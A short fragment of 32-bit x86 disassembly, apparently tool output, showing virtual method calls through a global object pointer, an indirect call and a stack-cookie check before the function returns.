mov ecx, dword [0x10010904]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010904]
mov edi, dword [eax + 0x4c]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010904]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov edx, dword [esi]
mov ecx, edi
push ebx
add edx, dword [eax]
call edx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000bbcb
leave
ret